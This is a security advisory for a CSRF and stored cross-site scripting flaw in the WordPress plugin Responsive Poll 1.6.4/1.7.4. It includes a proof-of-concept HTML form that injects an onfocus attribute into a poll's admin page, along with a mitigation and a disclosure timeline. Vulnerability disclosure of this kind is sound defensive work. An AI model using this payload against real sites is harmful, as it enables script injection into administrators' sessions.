Responsive Poll 1.6.4 / 1.7.4 CSRF / Cross Site Scripting

Type packetstorm
Reporter Tom Adams
Modified 2017-01-10T00:00:00


Software: Responsive Poll  
Version: 1.6.4,1.7.4  
Advisory report:  
CVE: Awaiting assignment  
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)  
CSRF/XSS in Responsive Poll allows unauthenticated attackers to do almost anything an admin can  
This plugin lacks CSRF checks when updating polls meaning an unauthenticated attacker can cause anything to be modified in a poll. The plugin also fails to escape values put into HTML. The combination of these two means that an unauthenticated attacker can put arbitrary JavaScript into a page in /wp-admin/.  
Proof of concept  
Create a poll.A We assume that the ID of this poll will be 1.  
Visit the following page and click submit (in a real attack the form can be submitted without user interaction):  
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php\">  
<input type=\"text\" name=\"poll_id\" value=\"1\">  
<input type=\"text\" name=\"action\" value=\"update_poll\">  
<input type=\"text\" name=\"name\" value=\"" onfocus="alert(1)\">  
<input type=\"submit\">  
Then visitA http://localhost/wp-admin/admin.php?page=polls&action=edit&edit_poll=1 and focus the Question field (either via clicking on it or tabbing to it).  
Disable the plugin until a new version is released that fixes this bug.  
Disclosure policy  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:  
Please contact us on to acknowledge this report if you received it via a third party (for example, as they generally cannot communicate with us on your behalf.  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
2015-09-15: Discovered  
2016-12-07: Reported to vendor viaA  
2016-12-07: Requested CVE  
2016-12-15: Vendor first replied  
2017-01-10:A Itas been over 30 days and the vendorA has not reported the bug fixed orA indicatedA when they expect it to be fixed  
2017-01-10:A Advisory published  
Discovered by dxw:  
Tom Adams  
Please visit for more information.